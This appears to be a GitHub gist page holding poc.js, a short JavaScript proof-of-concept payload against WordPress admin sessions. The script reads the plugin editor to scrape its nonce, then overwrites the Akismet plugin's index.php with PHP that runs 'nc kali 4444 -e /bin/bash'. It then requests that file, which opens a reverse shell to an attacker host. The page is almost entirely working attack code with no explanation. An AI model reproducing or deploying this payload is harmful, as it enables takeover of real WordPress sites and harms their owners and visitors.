Skip to content

Instantly share code, notes, and snippets.

@sahar042

sahar042/poc.js

Forked from LukaSikic/poc.js
Created March 6, 2024 14:37
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save sahar042/f0afec3ecd67c7d8c9f3f707600ddd10 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save sahar042/f0afec3ecd67c7d8c9f3f707600ddd10 to your computer and use it in GitHub Desktop.
Download ZIP

Revisions

  1. @LukaSikic LukaSikic created this gist May 19, 2019.
    18 changes: 18 additions & 0 deletions poc.js
    View file
    Original file line number Diff line number Diff line change
    @@ -0,0 +1,18 @@
    u = "/wp-admin/plugin-editor.php"
    p = "file=akismet%2Findex.php&plugin=akismet%2Fakismet.php"
    var x = new XMLHttpRequest();
    var r=0
    x.open('GET',u+"?"+ p,1);
    x.send(null);

    x.onreadystatechange = function() {
    if (x.readyState === 4 && r != 1) {
    n = /ate.+".+\s+.+ue="(.*)" \/></.exec(x.responseText)[1]
    x.open("POST", u, 1)
    x.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    x.send(p + "&nonce=" + n + "&newcontent=%3C%3Fphp%20exec%28%27nc%20kali%204444%20-e%20%2Fbin%2Fbash%27%29%3B%20%3F%3E&action=edit-theme-plugin-file")
    r = 1
    } else {
    fetch('/wp-content/plugins/akismet/index.php')
    }
    }